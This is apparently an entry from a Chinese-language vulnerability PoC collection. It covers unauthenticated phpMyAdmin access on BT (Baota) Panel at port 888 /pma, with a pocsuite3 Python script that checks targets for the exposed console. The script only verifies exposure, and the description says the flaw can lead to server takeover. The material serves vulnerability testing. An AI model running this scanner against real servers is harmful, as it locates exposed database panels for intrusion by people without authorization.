baota_unauthorized-access

BT Panel Unauthorized-Access Vulnerability

描述：宝塔Linux面板7.4.2版本和Windows面板6.8版本存在phpmyadmin未授权访问漏洞

Reproduction Steps

# 下载指定版本宝塔，看参考链接第一个链接
靶机目前地址安装在10.10.10.85机器上

POC Development

    #/usr/bin/env python3
#coding:utf8

from pocsuite3.api import Output,POCBase,register_poc,requests,logger,VUL_TYPE,POC_CATEGORY

class TestPOC(POCBase):
    vulID = '360入侵者模拟'
    version = ''
    author = ['360入侵者模拟']
    vulDate = '2020-08-23'
    createDate = '2021-08-27'
    updateDate = '2021-08-27'
    references = ['']
    name = '宝塔面板未授权访问漏洞'
    appPowerLink = 'https://www.bt.cn/'
    appName = 'baota'
    fingerprintNames = ['baota']
    severity = "Critical"
    appVersion = '''宝塔linux面板 7.4.2 / 宝塔windows面板 6.8'''
    vulType = VUL_TYPE.UNAUTHORIZED_ACCESS
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    hasExp = False
    desc = '''攻击者通过访问特定路径，888端口下的/pma，可以直接访问到phpmyadmin数据库管理界面，并可借此获取服务器系统权限。'''
    CVE = ''

    target = "http://10.10.10.85"

    def _verify(self):
        result = {}
        target = '{u}:888/pma'.format(u=self.url)
        headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "Accept-Language": "en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7",
    "Accept-Author": "1f0c42b2f264071be0507acea1876c74"
    }
        try:
            resp = requests.get(url=target.strip(),headers=headers,timeout=5, verify=False)
            if resp.status_code == 200 and 'pma_console' in resp.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = target
        except Exception as e:
            logger.error('target can not be connected')
        return self.parse_output(result)

    def _attack(self):
        return self._verify()


    def parse_output(self,result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

register_poc(TestPOC)

References

1.https://www.leavesongs.com/PHP/baota-phpmyadmin-unauthentication-analysis.html